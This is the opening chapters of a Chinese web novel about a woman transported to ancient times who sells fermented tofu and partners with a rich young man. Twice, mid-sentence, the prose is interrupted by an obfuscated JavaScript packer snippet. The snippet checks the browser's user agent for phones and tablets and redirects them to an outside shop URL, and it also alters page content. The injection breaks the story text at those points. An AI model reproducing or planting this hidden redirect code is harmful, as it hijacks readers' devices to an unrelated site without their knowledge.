《我在古代卖霉豆腐》 1. 豆腐 湖江春晓,桥畔车辙声袅袅。 罗烨烨的摊子便支在桃树下。她案前齐整排好几板发透的白毛霉豆腐,自己托腮打盹,梦里正数着这个月的进账,耳朵里却春水声悄,钻入一道声音:“这位娘子,这鹅绒小帛子,值银几许?” 声音又磁又好听,好似妖言惑语。罗烨烨眼皮动了动,她没睁眼,嘴角先翘起来了。 哪个外老汉,把霉豆腐当绢布买? 正这般想,她便忍不住偷眼去瞧。入目是半束青丝,一袭白衣缘的交领,手中竟还握着一柄桃花折扇,墨妃白三色,恰如他扇面山水一般清妙。 哎呦我去,这么美! 罗烨烨小脸一热,一低头,却瞥见自己身上这件衣裳:杏黄褙子,窄袖短襦,底下一条旋袄,料子粗的像麻袋。 她怔了一怔。 这形制,是古代? 不待她细想,头顶便落下一声轻笑,那嗓音压得低,吊儿郎当的,偏又带着点若即若离的亲昵:“哎,看这么久,不如连人带摊,跟我回府去?保你吃香喝辣,至于这帛子,小爷我全包了。” 罗烨烨抬头,就见那位公子哥不知何时已凑近前来,修长的手指正拈着一角白毛边,往上挑,眼神漫不经心睨着她。她方要开口,他手已经探了进去。 指尖捏住一角,轻轻往里一捺。这板搁在最边上的霉豆腐,其上白绒绒的菌丝便立刻塌陷一块,底下软腻的豆腐块被他拈在指间,一挤便扁,湿湿黏黏,触感软得人心都化了,令他眉间不禁舒散开。 罗烨烨登时清醒,噌地站起来,旁边围观的几个闲汉也跟着伸长脖子,有个小孩抻着手往摊边跑来,眼睛都亮了:“这是棉花糖呀?我也想捏。” “不中不中不能捏!这是霉豆腐,捏了有杂菌,”她一把护住霉豆腐板子,又将那板缺了角的离那始作俑者拿远些,“大哥你咋这样呢?你捏了,我还能卖吗?” 这称呼一出,那公子眼尾都裂了纹,笑眯眯着,语气也染上了几分不屑:“我全买了不就是了?有何不能捏,我瞧着还能吃呢。不过谁会吃发霉的东西,你在我家酒楼附近摆摊,就卖这些?不如同我回府用些好的。” “就是就是,你这霉豆腐不让人捏的?发霉的都坏了,还怎么吃?”乡里流氓忙不迭帮腔,哪管她说些什么,一见有热闹全一拥凑上,各种脏手老茧往白毛里插,看得罗烨烨颅内嗡一声,还以为气耳鸣了,灵台里却跳出一段话: “欢迎来到‘穿越大景朝之我在古代卖霉豆腐’。任务目标:手握霉豆腐永不变坏Buff,让霉豆腐扬名天下,最终通过十日后的贡品遴选,进入皇庭,面圣告状,救出心上人!成功则返回现实,并获得一百万。” 罗烨烨登时变了脸色。 卖霉豆腐,一百万?还有这等好事!那她可懂完了,本就是小摊主出身,如今正流行捏霉豆腐、拍短视频、建群,大家一起演畜生解压,眼前这不就是商机吗? 她张口便来:“哎哎,可以捏啊可以捏,生活不易释放压力,捏完别急着走一起建个群,大家回头一块演畜生!” 那摸豆腐老汉登时不乐意了:“哎你咋的骂人呢?谁畜生了!” 罗烨烨啧了一声,一瘪嘴:“你不懂我的幽默呢?这回你演畜生顾客,下回我演你摆摊,这叫解压,懂不懂?你得跟上时代。” 她一扭脸,却见那貌美公子哥悬着手,食指与拇指之间捏着,竟不动了。罗烨烨奇了,来回扫他好几眼:“你咋不捏了?你捏呀。” 那公子哥慢慢抬眸,掀眼瞥了她:“你方才不是说不能捏么?有杂菌。” 罗烨烨恍然,立刻换了一套话术,摆摆手道:“哎呀,咱们这是霉豆腐。还要加调料的:辣椒、白酒、胡椒盐,腌一腌它把杂菌消了,还要放几日才能吃呢,这是一个腌的工序。” 说着,她便麻利地端起那板他刚捏过的,顺势做了个示范:用铲子往那竹板上一道道划,先竖后横。那原本连成一片的白毛便被切开,粘着的边边角角飞出些毛尖尖来,好似扯开的棉花糖。 罗烨烨将它们一个个扒拉进碗里,先撒了白酒——哦,准确说是米酒,往里一浇,平添几分甜意。她端起碗,掀掀拌拌,那原本覆着白毛的霉豆腐便成了苎麻黄,差些粉便和她这身杏色短打一个色。 再抓起一旁的辣椒面、孜然盐往里一撒,红红黄黄拌在一处,最后都成了艳丽的赤桃花色,沾着些白芝麻籽,比春日枝头绽开的更喜人。 她一边摇着碗一边吆喝呀:“大家捏了这板,就把这板买了,尝尝,好吃到嗦手指呀!若是好吃呢,大家留个名,留个好评,再给镇里的乡亲父老宣传宣传。咱们这一板不贵,一文钱,新店开业,不盼回本,先打出名声!” 她这一说,乡亲也陆续凑过来,你捏我尝吃着确实妙,手里几个铜板便响当当落进她袋里。那几个乡里流氓也信了,方才看着便眼馋,当下先舔了口手上沾的白毛,入口吧唧吧唧,又伸手往那板里捏了一块缺了角的,进了嘴。那神色立刻便有多彩变化,嘴里说出来的却是另一番胡搅蛮缠: “哎呀,这不怎的好吃呀,吃着就是咸不拉几的,不好吃,赔钱!” 罗烨烨瞪他一眼:“你还没付呢,怎么赔?赔你嘴里的治疗费,霉豆腐在你嘴里打架了是吧?” 四下里冒出几声零星嬉笑,那乡里流氓顿时脸红脖子粗,当下便拍了桌子板,一把将她竹篾上的白绒毛豆腐拍扁了,压出一个大手印,黏糊糊地伸出食指,还要来指她: “我不管!你这娘们做的豆腐难吃,现在就给老子赔钱!” 罗烨烨也不装了,抱起胸来怼他:“你个畜生就知道叫,说你畜生,还真是。人家是演的,你本来就是,怪不得说畜生了?说谁谁叫谁是!吃豆腐?吃毛去吧你!” 那地痞流氓登时急了,冲上来便上手抓。罗烨烨当然也不是吃素的,手里还握着铲子,就要往他头上招呼。看热闹的乡亲们立马吓得不轻,纷纷躲的躲、逃的逃,上去拉架的拉架。 就一眼没看住,不知从天而降什么黑乎乎的东西,冲上来呜呜囔囔,好一会才将两人分开。罗烨烨真受不了这等高血压畜生,拿着铁铲往前怼: “你过来呀,你过来!你再说两句,再说两句?看我不招呼你!” 不料大事不妙,那黑衣人真将她松开了。罗烨烨登时心里没底,一眼便看见站在她侧面之人,那抱着胸看戏的白衣公子哥,讪讪笑道: “帅哥,我开玩笑的,你果真吗?你还是拴着点吧,我怕它咬我。” 那公子哥轻笑一声,歪着头瞧她,挑了眉,折扇一指自己:“在说我么?不是我啊,抓你的是捕快。” 罗烨烨脸色一变,扭头往逮她那黑衣人衣服上一看——哇塞,直接就是玄衣蟒纹金翅挂,妥妥的巡城护卫呀! 她有些慌,立马开口辩解:“不是大哥,怎么抓我呀?是对面先耍无赖,我这铲子……”她灵机一动,手一哆嗦,将铲子丢了,啪啦一声应着她的话落地,“我这铲子是铲霉豆腐的!咱们南湖正宗霉豆腐,好吃美味,咸口下菜,不辣不腻。哥几个逮几罐尝尝呀,不要钱!” 那巡城护卫眯起眼,将她上下打量:“这个摊子,是你的?” 罗烨烨眼前一亮,忽然想到捷径:若是能让这几位吃得爽,说不定名声就大了! 她立刻推销:“那必然的呀,官大哥、官二哥,咱们这是正经生意,小本买卖,保证物美价廉。而且带上我,我有保证霉豆腐不发脏霉的法子,保密手艺,好吃下次还想吃!” 随橙想,护卫反耳呢,制紧了她的胳膊肘,任凭罗烨烨哎呦叫,也不容置喙: “大景律法第十条,没有交摊贩证的,不许当街贩卖。你涉嫌违规售卖,跟我们回大狱走一趟。” 天都塌了。 罗烨烨真没想到这一出,但又立马想到身边还有个贵气公子哥,立刻咧开嘴大叫:“公子!公子快救我呀,你不是刚才还吃我的豆腐么?我要是走了,你哪里吃得到呀!” 乡民间隐隐笑声传入耳中,果 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没这脸皮还能做生意?她立马变作一副狗腿模样:“公子,我一定效忠于你,我这菜就是为了做给你的,你不觉得今天很巧么?我才刚到,我这第一把霉豆腐就被你给捏上了,简直为你准备呀,霉豆腐是梅花,公子你是人面桃花!” 这番谄媚之言,实在是马屁拍上了天。听得围观群众一耳朵,有哈哈笑的,有噫噫嫌的。着实还是有用,把这贵公子哄笑了,还真心情愉悦起来。便见他伸指,果真又捏了一块霉豆腐。 柔软白丝在他指尖微微颤着绒毛,被他送入口中尝了尝。入嘴一瞬,饶是那张金贵玩世不恭的脸,都微妙地扭曲了嘴角,微启唇,舌尖在下颚走了一遍,最后抵到后槽牙。 真咸。 那浓烈的味道便散在口中,红椒面便如桃花一般,开在他唇,又染红他颌面,令他不禁别开头,低下眼。 还辣。 这般便有那么一丝被耍的怀疑。他侧目,视线飘到她身上,却见那娇小女郎撇着嘴巴,楚楚可怜,耷拉着那双圆眼睛,便是一瞬不瞬地望着,求着他。 他一愣。 左右侍卫便朝他拱手抱拳:“公子,此女违法经营,忤逆王法、以下犯上,我等便将她带回。” 他抬手止住:“不必。” 得他号令,左右才放开她。好容易肩膀才疏松筋骨,一下差点脱了力,顿感肩肘一阵麻疼。她嘶着气,边往这贵公子面前挪了挪步子。 罗烨烨当然看到希望,她刚穿进来,可不能就这么被带走,还有任务要做呢,一百万,一百万就在眼前。 她目光黏着这公子一举一动,见他朝她走来,视线向下飘,轻慢地掠过她散落下来的一缕青丝,像在问,又像在打趣:“那你这豆腐,到底能不能捏?” 罗烨烨立马可怜地耷下眉,就差痛哭流涕了:“能能能,那必然能,公子快把我带走吧,我给你发霉豆腐、做霉豆腐,天天让你吃到霉豆腐!” 萧公子表情一裂,脱口一句“那倒不必”,扫了一眼她身后那霉豆腐小推车,略眯了眼。罗烨烨注意到,便知他在纠结怎么带走她的摊了。可就是这么稍一犹豫,她口中的话便被突如其来的声音抢先: “少爷在那,快追!” 这一瞬,罗烨烨眼见面前这公子眼睛睁大,往巷东边看去。只见几人家仆样式衣着不凡,抄了家伙往这边奔来。这萧公子便啧了一声,抬手吹了个呼哨。 这一声彻如竹箫,便听自遥远方来,若有震动。罗烨烨睁着大眼,四处打量:“马呢?” 忽如一阵乌云席卷而来。她刚看到马甩着的鬃毛尾巴,下一瞬便被翻飞的白衣蒙住,再一瞬已然坐到了马头后边。两侧被那公子的柔软袖子拢着,牵绳飞起,疾风吹得罗烨烨绷不住嘴角,忍不住叫起来: “哇!这马真马呀,它叫什么呀?” 先是一只温热手掌,托住她乱晃的肩。罗烨烨心弦一响,耳畔便是那如春流击凌汛般的声线,涓涓沉入心田:“它叫‘当先’——一马当先。坐稳了!” 一马当先衣袂翩,桃花少年郎,双飞入江南。 2. 猫馀 方跑到一个酒楼前,马蹄停不住,一蹄子撞烂马栏,逼得里头小二护院被掀翻在地,马背颠簸,也给他俩甩下来,公子抱着女郎往下滚,翻好几轮才停。 “哎呦!” 罗烨烨叫一声,埋头进他怀里,闻着他身上那股香,却意外地像闻到蒸熟的小麦,清甜清甜的,半天都难抬头。 不过她身上就糟糕了,一股霉豆腐发酵的乳臭味,这会全蹭他袍子上。还是这萧公子手臂包着袖子抵她的额头,微微咬牙:“这位小娘子,麻烦你起来,你这般硌着我,舒服吗?” 马倒是有灵性,到那槽位,便停了,居然还低头吃两口草,好若无事发生。罗烨烨撇撇嘴,慢吞吞爬起,倒悄悄往上觑他,倒有一些稀奇,这人到底什么来头? 她便试探他:“哎,你是贵公子,怎么还会被追着跑呀?” 那位金枝玉叶萧公子便瞥她一眼。罗烨烨抿唇,识趣地住了嘴,做了个封口的动作,这才让萧公子得以起身,轻拍袍子上沾的草屑。 他这袭白衣上面,墨发稍有凌乱,却不散,落在这身无瑕袍与玉容面上,倒互相映色。罗烨烨看了会,又忍不住凑近些,试探道:“我叫罗烨烨,老板,你叫什么呀?” “萧握瑾。”他轻飘飘的,仍是那副漫不经心的模样,又转正了自己拇指上的玉扳指,“罗烨烨,烨烨其华的烨,是吧。今日起,你做我的小侍女。” 听得罗烨烨下巴差点掉下来:“啊?” “我说,我救你于危难之中,你也得帮我一个忙。做我的小侍女,专门为我准备一日的用膳,就做你的那个……”他神色里有一些细微的微妙,续道,“霉豆腐。除此之外,再学点别的。” 罗烨烨刚要开口问,却被惊了的马一声嘶叫打断,才发觉自己方才两耳闻不进声,光听萧握瑾说话了。往那一看,还好马拴得紧,却见酒楼老板火急火燎赶出来。 老板一见来人,顿时苦了脸:“萧公子,您来得也太不巧了,萧府正叫人抓您去见那县丞家的王小姐呢,您怎么来我这了?我也不好交差呀——” 就被萧握瑾竖起一指,止住话。他稍摸了袖,便抛出一个物什,正落在老板手心里。 令那老板当光一照,竟是个金灿灿的宝贝石头,这下可喜坏了,立马就拱手改口:“公子小姐,这便住下,马我给您喂好。萧公子您还上三楼里屋老地方藏好,我给您接待着,保证萧府找不见!” 我去,黄金!这里的汇率这么豪呀。 这番也吸引了罗烨烨注意,那店家一走,萧握瑾便看回了她,一挑眉,低头看了看自己这身衣裳,随即从腰间解下一枚玉佩。 那玉色通透,白得发暖,对着日头一照,里头干干净净,一丝棉裂都没有。 他把玉佩往左边晃了晃,罗烨烨的目光跟着玉佩走。他又往右边晃了晃,罗烨烨的脑袋也跟着转。可能觉得也好玩,她噗地一下笑出声:“还挺像霉豆腐的嘛,怎么,是特意给我们家做的小手办,要送给我们当纪念啊?” 萧握瑾确实好看,便正如他手中那枚玉一般。罗烨烨心里美滋滋地想:要是现实中能让他站自己摊子边上,那得引来多少顾客,她这霉豆腐还愁卖? 想到这儿,她眼睛弯成两道月牙,脸颊上两个浅浅的梨涡,又甜又软。 萧握瑾垂眼看她,唇角慢慢弯起来,送出一声轻轻的哼笑,忽而又换了那副慢悠悠的轻慢语气:“不过想当我的侍女,有个条件。今晚我家有一场生辰宴,你需上去做一道你的霉豆腐,若能令所有宾客皆最喜欢你这道菜肴,便算你合格。” 哎呦我去,下战书呢? 她心里当时就有点小不乐意,心说,我也没有很想当你的小侍女。然而看着他这副相貌,迷迷糊糊,愈发觉得这张桃花面庞朝她凑近些,竟有点头晕目眩。 不中不中,不能被美色诱惑呀!她扁着嘴,咽了咽口水,清了清嗓,才开金口:“那不中啊,那你不能就这,你反正得给钱……” “检测到关键目标人物,或可成为宿主助力。请宿主攻略萧握瑾好感度,获得他的认可。预计霉豆腐知名度将获得大幅度提升。” 系统提示敲醒了罗烨烨的美魂,她一愣神的功夫,萧握瑾已挑了眉:“钱?” 问得罗烨烨开口捋不直舌头:“诶我……” 刚开了个头,她眼前嗖地飞下来一块硬通货,带着彗星金尾巴的大运直接投在她手心,把她两眼都擦亮了,抬头就见那依然懒洋洋的眸光,这会落在她眼里,简直不止一个档次顺眼,连他说的话都好听了:“一两够不够,不够五两。接不接活?” “接接接,我现在做!但我需要原料,古法发酵,口味正宗。”罗烨烨喜笑颜开,一口气报出一串名目,“豆腐、竹篾子,白酒、辣椒面、花椒盐、芝麻,最重要是腐乳曲!” 萧握瑾抬手召来记事的小厮:“按她说的找。” 那边小厮飞快记,罗烨烨悄悄抬眼打量萧握瑾,眼前同时变出一块巨大的一百万金币,浮现出方才被救的事,反复回味。空气一安静她就容易细想,琢磨下来尝出点赧然。 哎呀,怎么一穿进来就被美少男救了呀? 她忽而有点不好意思,不过系统都提示到这地步了,那就索性抱大腿吧。况且…… 这回她偷瞄被抓了个正,萧握瑾瞥向她,抬眉:“这位主厨,就要代表本少爷上场比赛,还能分心?” 罗烨烨脸上不觉一红,但她本就双腮透粉,倒看不出,只是眼睛睁得更水亮了:“没有呀,我这是在找灵感呢。俗话说佳肴要分色香味美,我看少爷便是仪表堂堂,金枝玉叶,简直就是玉树临风,美上加美呀。” 萧握瑾竖起折扇:“太谄媚了。少说多做,一会该你上,好好表现,让我看看你的本事。” 罗烨烨撇撇嘴,便往后厨走,一边拉着萧握瑾袖子一块:“中吧中吧,现在就给你露一手,厨房必然有豆腐,我先打个底,你在旁边看着,你学会了你也好做。 说着两人出了马厩,进了酒楼。一跨进堂,歌舞醉琵琶,玉液琼浆,推杯换盏客语哗。 客官瞧见了来人,窃窃私语便春水般漾开:“那不是萧少爷么,怎么带了那个刚进城的豆腐西施?这是要做菜呀。” 另一个客官掩扇细讲:“哎,也不知道怎么,但我知道这豆腐西施呀,她不在这停,她是要上京的……” 去救她的,心上人! 声音碎碎的,像柳絮飘过水面,罗烨烨只隐约听见几个词,便已被这流花漫语盛上了楼。一个转脚进后厨,迎面,各色厨具一面墙,挂得满满当当。 罗烨烨腰间摸,果然摸出臂绳,撸起袖子两下缠好。一开始还按部就班,豆腐先从水盆盛,横竖切块放蒸笼,杀杀杂菌好发成。蒸好开屉一抬头,正对上萧握瑾的目光。 “看我干啥?看菜呀,”罗烨烨瞄他,扇扇扑面来的热腾腾白气,“往边站站,我要发挥呢。” 萧握瑾打开折扇挡水雾,往灶台边靠了靠,略不信服:“按理说,你这豆腐发好,起码两天,现在做,晚上真能吃到?” 罗烨烨反而信誓旦旦:“那当然,因为我提前拿了一罐现成的,剩下的这些……” 没说完,门忽然被推开,小厮气喘吁吁地跑进来:“公子、姑娘,腐乳曲没找到,问了都说没听过!” 罗烨烨顺手捏了块豆腐:“那只好都进我嘴里了。” 小二见了,立马叫:“诶你怎么耍人啊?我辛辛苦苦找材料,你最后告诉我不做呀?” “我不是说只打个底吗?这不是没你找,我也吃不到嘛,”罗烨烨一边咂摸着嫩豆腐的滋味,嗯,确实鲜,确实嫩。一边摆摆手,顺手摸正自己腰间绑的那个小包,从里面掏出一个罐,“别急,别慌,现在才是真正的露一手,让你们尝尝放过几天后,已经有沉淀下的正宗味道的霉豆腐。” 说着她把罐子往案上一顿,揭开油纸。 一开缝,一股浓郁的香便飘出,咸香中带着淡淡酒味,辣味里透出鲜甜。 小二先哇了一声,紧接着罗烨烨就忍不住嘶溜气,已经忍不住食指大动了。 罐里是满满的霉豆腐,色泽赤红油亮,像一团团被晚霞染透的云絮,又像捣碎的玫瑰花瓣浸了蜜,在罐里挤挤挨挨地卧着,就等着被人一指头捺进去,捻一块,熟烂味更浓。 “辣的吗?”萧握瑾的问声在耳边,有一些克制,仿佛隐隐有喉间的动声,同时声线也挠得人心痒。 “那必然呀。”罗烨烨声音也不自觉放低了,她咽下口水,直接拿竹筷夹出一块,放进青瓷小碟里。 “……我去外头接待了,你们准备菜。”小二抵不住嘴馋诱惑,先出去冷静冷静了。 光线一暗,剩下俩人都不自觉凑近,看红油浸透了豆腐,那辣色在白瓷上铺开,上头沾着星星点点白芝麻,比春日枝头的桃花更艳几分。 罗烨烨转头看向萧握瑾:“怎么样?好看吧。” 对方低头看那碟子,折扇已撤开了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516195|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出那眼与深唇,微微点头:“确实好看。” 于是她自己又夹了一块送进嘴里。 豆腐一入口,先是咸,却不是很冲,有糖中和了,透出鲜。 接着是辣,止于舌根,非常有边界感的豆腐。再品,便有一层一层的味道剥开,有酒的醇气挤压上鼻腔,再回过味,才有椒香。最后是豆腐本身那点糯糯绵绵的口感在舌苔上铺开,喉咙不知觉地收缩了,就滑进喉咙。 她忍不住道:“哇,真香呀,这个加了盐又加糖,比单加椒盐要鲜得多。”说着顺手夹起一块,转身递给萧握瑾:“不是特别辣,你尝尝……哎呀!” 罗烨烨话没说完,那块红油油豆腐却因为太糯太软,直接夹断成泥了,从筷尖掉落下去,她赶紧伸手接,一闭一睁眼,却没接着。 再一看萧握瑾手里,已经拈着那块掉的霉豆腐。 “快放到盘子里,你这样手就油了。”罗烨烨着急说,一边拉他袖子,想把他手往碟边引。却不料这一拉,袖口往上滑了半寸,露出了他的手腕。 腕骨的位置,有一圈毛茸茸的白毛。 罗烨烨一愣:“哎,白毛沾你手上了……” 她话音未落,那只手已忽地往袖中一缩,收回去,跟被烫着似的。 罗烨烨的手还悬在半空,指尖空落落的,什么都没捞着。她抬头看他,想说你躲什么呀,油都蹭袖子里了。 可话到嘴边,却没说出口。 因为萧握瑾正看着她。 一时间,罗烨眼前忽然恍惚,不知怎的,这张脸散成光影,倒是别的声音和物事,一样一样浮了上来。 她听见灶膛里炭火噼啪的响,像有人在剥红豆。而他们还离得很近,那袖角挨着她的衣袂,轻轻贴着,不知是谁先碰了谁。 她忽然觉得这屋子好静,小小的,只有他们二人。 静得能听见自己的心跳,一下,又一下,在里头轻轻叩着门。 半晌,他轻轻笑了一声。 那笑声还挺好听的,罗烨烨又被吸引,这双眸复又现于眼前,好看得有种非人的异惑感,好似琥珀,含深色,流浮光。 “这位小娘子,我知道你主动,”他开口,声音也懒洋洋的,目光淡淡地寸寸向下,“但你靠我这么近,是不是不太好?” 这话听着像打趣,可她不知道该接什么了。 她张了张嘴,想说谁主动了,一开始是谁挡她摊子前面,现在倒正经。可这些话堵在嗓子眼,转了一圈,又咽回去。 “……那我离你远点嘛,你也离远点,别到时候又掉你身上。”她往后挪步子,扭开脸,假装刚才什么都没发生。 目光回到那罐霉豆腐上,她转而拾起筷子,迅速夹出几块装盘,清了清嗓:“那先给这道菜起个名字吧,霉豆腐不太好,得图个好兆头,就按照古人习俗,叫‘猫馀’吧。” “猫鱼?” 这种时候,大老板反而皱起眉,反应立马就与方才波澜不惊不同了。罗烨烨点点头,指头蘸水往案板上一笔一画写:“就是‘猫’字加个‘馀’字,它一开始是猫喜欢吃的嘛。” “猫不喜欢吃。”反而萧握瑾一口回绝。 搞得罗烨烨很意外,回头看他,就见这位贵公子愈加不近人情,连扇子都啪地一声打开,把她隔离起来:你好好起,弄得像猫食,谁还吃你这霉豆腐?” “……不是猫喜欢,那就是谐音嘛。霉豆腐、毛豆腐、猫豆腐,你不喜欢,就叫‘猫豆腐’好咯。” 罗烨烨瘪了嘴,显出小委屈,觉得他莫名其妙,继续道,“这样更可爱一点嘛,而且确实是毛茸茸的,猫、豆腐,多贴切!” 萧握瑾反应立刻很快:“你方才摊上不是这么说的,你说霉豆腐是梅花……” 话没说完,罗烨烨已经哎呀一声抢在他话尾:“那你方才也不是这样的呀,你不是人面桃花好公子吗?怎么现在又找茬,又不好了?” 这下还真把萧握瑾堵回去了,罗烨烨立马士气大增,刚要开始反守为攻,左边门子“磅”地一声被拍开了,是小二着急忙慌回来:“姑娘、公子,客人到得早,说要先上菜,您这边备好菜吗?得端上去了!” 萧握瑾与罗烨烨对视一眼,罗烨烨哼一声,高傲地抬起下巴,把碟子往他手里一塞:“走吧,上菜。” 这直怼他怀里,也不容他拒绝。萧握瑾低头,看了看手中这碟赤红的霉豆腐,又看她。 罗烨烨果然不容置疑:“就叫,猫、豆腐!” 3. 接手 赫然华灯入目楼头月,青衫红袖花霰雪。 楼内宾客正相揖笑让,角落的画师顿笔起身,朝那赴宴的妇人拱手而迎:“萧老夫人,恭喜呀,令郎将与王小姐结喜事,成咱们南湖城一桩佳话!” 老夫人一身绛紫褙子,发髻间只簪一支白玉兰簪,玉色温润如质,她却不接话,转问身畔的家仆,“公子到了么?” 家仆略一犹豫,便有步履声在旁响起,又来一位谦谦公子,便携着老夫人往里走:“母亲先入席罢,外头风凉。” 这公子着直裰,腰间系一条青玉带,低声悄语,不急不缓:“前几日京城来了信,说是有位像兄长的人,被一桩案子牵连进去,如今正收押待查,也不知是不是真的……” “大公子到了!方在厨房备菜,下一道就上了。” 恰逢小二跑来报消息,听得老夫人面上眉眼散开,看他一眼,便指着遥遥处,一桌桌陆续上来的菜肴,对那公子道:“你兄弟少时爱玩,却在灶上肯下功夫。你读书勤快,这酒楼往后若想接手,有些事,也得多看看。” “老夫人说的是,二公子,入席入席,咱们先入席……”家仆忙陪了笑脸,扶着老夫人往里去。二公子未答,只望向那宴席。 不过是些寻常席面:清蒸鳜鱼、火腿煨笋,糟鹅肫、炙羊肉,还有几碟时鲜果子。宾客们执箸动筷,见人过来便住了口,举杯以礼。 可恰在此时,一抹杏色却跳入眼帘。 那小丫头一身杏黄短襦,脚步轻快,手中碟子却稳稳当当,小麻雀似的钻进宴席里。有宾客看她一眼,她便冲那人弯着眉目笑了一下,陷出一个小点点梨涡。 碟子搁上桌。 盛着六块霉豆腐,赤红油亮。旁边还码着几个椒盐烧饼,烤得金黄,芝麻粒儿嵌在酥皮里,瞧着便香。 众人的目光先落在烧饼上。 有位宾客夹了一筷子霉豆腐,往饼面上抹。红的、黄的、白的,三色相映,他端详片刻,送入口中。 “嗯?不错。”他眯起眼,看那碟子,“初入口是咸,却不冲,酱的口感也很绵,能化在嘴里。” 旁边几位宾客也纷纷动筷,尝了便问:“加的什么盐?这味不像只有椒盐。” 罗烨烨上前解说:“加了香料,有茴香、桂皮、草果,磨成粉和椒盐拌匀,给它腌入味。” “还有这豆腐本身,要先恒温二十来度养上几日,等它长出一层白绒绒的毛来。”她越说越兴奋,眼睛亮亮的,“那毛可漂亮了,白得像杨絮似的,捏着软乎乎呀——” “长毛,”那位老夫人忽然搁下筷,眉头微微一蹙,“你是说,坏了?” “不是不是!是好的那种毛,很干净啊,”罗烨烨连忙摆手,“那只有够干净才能发出来白色,就是现在一拌上辣椒面、花椒盐,看不出来罢了……” “这不就是发霉了么,这还能吃?都长白毛了!”这个宾客的声音立马变了调,引得周围大家看他筷子尖,果然沾着点白绒,满座哗然,纷纷指责: “你这怎么做发霉的东西给我们?果然不是空穴来风,食物就是有毒!” 罗烨烨脑仁里嗡地一下上火了,这回对线更熟练,她直接叉起腰来喷:“哪坏?哪坏了,你方才吃的时候不说好么?那味道你自已尝出来的,咋到嘴里是好东西,一听有白毛又说坏的了,你的嘴能不能信呀?” 那宾客被噎得脸涨通红:“你这小姑娘怎么欺负人?发白毛不就是坏了,你还狡辩!” “坏了会好吃?坏了能是这个味啊,”罗烨烨半点不让,“霉豆腐就算不干拌,香煎、翻炒或者是蘸酱油直接吃,都很好吃,你那舌头不比眼睛灵?” 满座宾客被怼的半话不敢说,还是老夫人无奈扶额,摆了摆手:“好了,这丫头搅扰席面,来人,带出去吧。” 顿时罗烨烨心里一咯噔,坏了,这不是她自己的摊呀,不能把顾客当畜生骂了! “不是不是,”她赶紧换上一副笑脸,软下声气,“客官您听我说,它这个发霉吧,是发的那种好的、干净的霉,那白毛是真白呀,能让豆腐更香更糯!” 就算她这样说,自然也没人听她解释。几个家仆三两下把她卡住,她挣扎不过,正这时,耳边就听到一声叹气。 是萧握瑾。她竖起耳朵,果然,听这片薄薄的柳叶替她发话:“放手。” 家仆们面面相觑,撒开手退到一旁。 萧握瑾手持折扇半掩面,耷着眼将席位扫了一遍:“菜确实没坏,简单说这是发酵豆腐,白毛霉菌也是它的特色之一,因为它就叫……”说着,萧握瑾又掠她。只让罗烨烨这个侧边离得近的看到了,他唇角那弯起的姿态,是得意! 萧握瑾果然命名:“霉豆腐。” 罗烨烨挺起胸膛,这回她也不跟他急了,到她发挥专业能力:“霉豆腐不光好吃,它来历还有故事呢:比方说益阳白鹿寺的方丈,化缘时候把豆腐放久了,就变成霉豆腐,可谓是‘佛予珍馐’;还有吧,书生赶考存干粮,意外尝到长毛的反而更有一番滋味,这叫‘浮名身外,小事犹欢’。” 她这一说,没有人纠错。罗烨烨又对这世界观清晰了一点,虽然是架空朝代,但是好像地名差不多。 “照你这么说,这霉豆腐算是腌制品,需放着吃,”未想老夫人中间还插话了,执着箸,望着她,“能放多久?” 罗烨烨随答:“揭开半年冷放,用菜油浸能放更长。带上一罐霉豆腐,能行万里路,而且密封越放越香,就是要放着才醇厚。” 话落,老夫人颔首,并未做反驳。这一时也无人再质疑,有人悄悄动筷,又夹了一块。敢吃的人愈来愈多,一个妇人便开了口,慢慢道: “其实我老家那边,也会这样做。只是方才见诸位好似不太能接受,便没好意思说。今日尝了这位姑娘做的,倒觉得比我们做得还干净,味道也好。” “是,不独南湖有,往北去,徽州人叫它‘毛豆腐’,往南走,福州人拿它下粥,再往西边,川蜀之地还拿它入菜。”罗烨烨见大家逐渐能回过味,顺势将情怀和盘托出,“异乡同味,年年岁岁,寄托的就是各地游子的思乡之情。” 她说完,那碟霉豆腐,便也见了底。 “确是地方特色,好。”老夫人仔细品尝,点头赞许。罗烨烨心里可喜坏,可方才的妇人却又道:“不过你这个听着有口音啊,你不是南湖的吧?” 顿时就小尴尬,她干笑两声,摆摆手:“哎呀,我从大河以南来,湖河不就差个‘ue’我吗?只管吃只管吃,我做的绝对正宗!” 还好还好,没教她话落地,一道白影已踱到她身前。 “既然这位姑娘的手艺,诸位皆尝过,有句话,萧某不妨直说。”萧握瑾折扇一展,半挡着她,半对着满座宾客。他声音不高,却刚好让该听见的人,都听见。 “往后,萧家的酒楼便交与罗烨烨托管。我已决意与她合伙,重新开张。” 这下,群座又一片惊声,有人坐不住,交头接耳地议论起来。老夫人眉头一蹙,把筷子搁下了:“你贸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516196|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然决定,把王小姐和王员外置于何地,让我如何交代?” “这不是王小姐还没到场呢吗……”旁边一个小厮嘴快,小声嘀咕了一句,罗烨烨赶紧肘他一下。这可不兴说呀! 不过有钱不赚非君子,这种晋升机会她可不得抓住喽好好表现? 